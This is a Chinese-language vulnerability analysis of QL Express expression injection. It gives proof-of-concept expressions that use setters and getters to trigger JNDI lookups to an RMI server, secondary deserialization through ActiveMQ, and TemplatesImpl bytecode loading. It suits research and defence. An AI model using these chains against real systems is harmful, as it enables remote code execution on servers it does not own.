QL Express 触发 get|set 利用
字数 1605 2025-08-22 22:47:39
QL Express 触发 get|set 方法利用分析
1. QL Express 特性概述
QL Express 在执行表达式时可以直接调用类的构造函数和其属性的 getter/setter 方法。这一特性可以在安全组设置白名单条件下绕过方法调用限制。
2. 技术原理分析
2.1 基本机制
当执行如下表达式时:
import org.example.user;
user u=new user();
u.name="gaoren";
u.age=1000;
QL Express 内部处理流程:
- 将表达式编译为 QL 语句
- 调用
executeInnerOriginalInstruction函数循环执行编译后的语句 - 执行到赋值操作时(OP := OPNUMBER[2]),调用
setObject方法进行属性赋值
2.2 关键调用栈
executeInner
executeInnerOriginalInstruction
setObject
setProperty
PropertyUtils.getPropertyType
PropertyUtilsBean#getPropertyDescriptor
PropertyUtilsBean#setSimpleProperty
invokeMethod (反射调用set方法)
2.3 限制条件
- 只能给有 set 方法的属性赋值(不像 Fastjson 可以给无 set 方法的属性赋值)
- 没有类似 Fastjson 的
Feature.SupportNonPublicField选项 - 利用面相对较小
3. 可利用链分析
3.1 JdbcRowSetImpl (JNDI注入)
利用条件:
- 存在
com.sun.rowset.JdbcRowSetImpl类
利用原理:
setAutoCommit(true)会触发connect()方法connect()方法中调用lookup(this.getDataSourceName())dataSourceName和autoCommit都有 setter 方法
POC:
import com.sun.rowset.JdbcRowSetImpl;
JdbcRowSetImpl jbc = new JdbcRowSetImpl();
jbc.dataSourceName="rmi://localhost:1099/hello";
jbc.autoCommit=true;
3.2 ActiveMQObjectMessage (二次反序列化)
利用条件:
- 存在
org.apache.activemq.command.ActiveMQObjectMessage类 - 存在
org.apache.activemq.util.ByteSequence类
利用原理:
getObject()方法中存在二次反序列化- 通过设置
content属性(有 setter 方法)控制反序列化内容
POC:
import java.util.Base64;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.util.ByteSequence;
ByteSequence bs=new ByteSequence();
ActiveMQObjectMessage u = new ActiveMQObjectMessage();
String bydata = "Base64编码的序列化数据";
bs.data=Base64.getDecoder().decode(bydata);
bs.length = 1376;
bs.offset = 0;
u.content=bs;
u.trustAllPackages = true;
u.object;
限制:
- 需要调用
Base64.getDecoder().decode()方法,可能被白名单限制
3.3 TemplatesImpl (字节码加载)
利用条件:
- 存在
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类
利用原理:
outputProperties属性有 getter 方法- 通过设置
_bytecodes和_name属性加载恶意字节码
POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
TemplatesImpl tem=new TemplatesImpl();
tem._bytecodes="恶意字节码Base64";
tem._name="gaoren";
tem.outputProperties;
限制:
- 其他必要属性没有 setter 方法,难以完整利用
4. 其他依赖的利用链
4.1 JndiRefForwardingDataSource
利用条件:
- 存在
com.mchange.v2.c3p0.JndiRefForwardingDataSource类
POC:
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
JndiRefConnectionPoolDataSource jndi = new JndiRefConnectionPoolDataSource();
jndi.jndiName = "rmi://localhost:1099/hello";
jndi.loginTimeout = 0;
4.2 JNDIConnectionSource
利用条件:
- 存在
ch.qos.logback.core.db.JNDIConnectionSource类
POC:
import ch.qos.logback.core.db.JNDIConnectionSource;
JNDIConnectionSource jndi = new JNDIConnectionSource();
jndi.jndiLocation = "rmi://localhost:1099/hello";
jndi.connection;
5. 总结
-
QL Express 通过 getter/setter 方法调用的利用链存在,但受限于:
- 只能调用有 setter/getter 方法的属性
- 部分必要属性可能没有 setter 方法
- 需要特定依赖
-
最可靠的利用方式是通过 JNDI 注入(如 JdbcRowSetImpl)
-
其他潜在利用链包括:
- RegistryManagedRuntime
- JNDIManagedRuntime
- DefaultTransactionManagerLookup
但这些依赖较为少见
-
实际利用时需要根据目标环境的具体依赖情况选择合适的利用链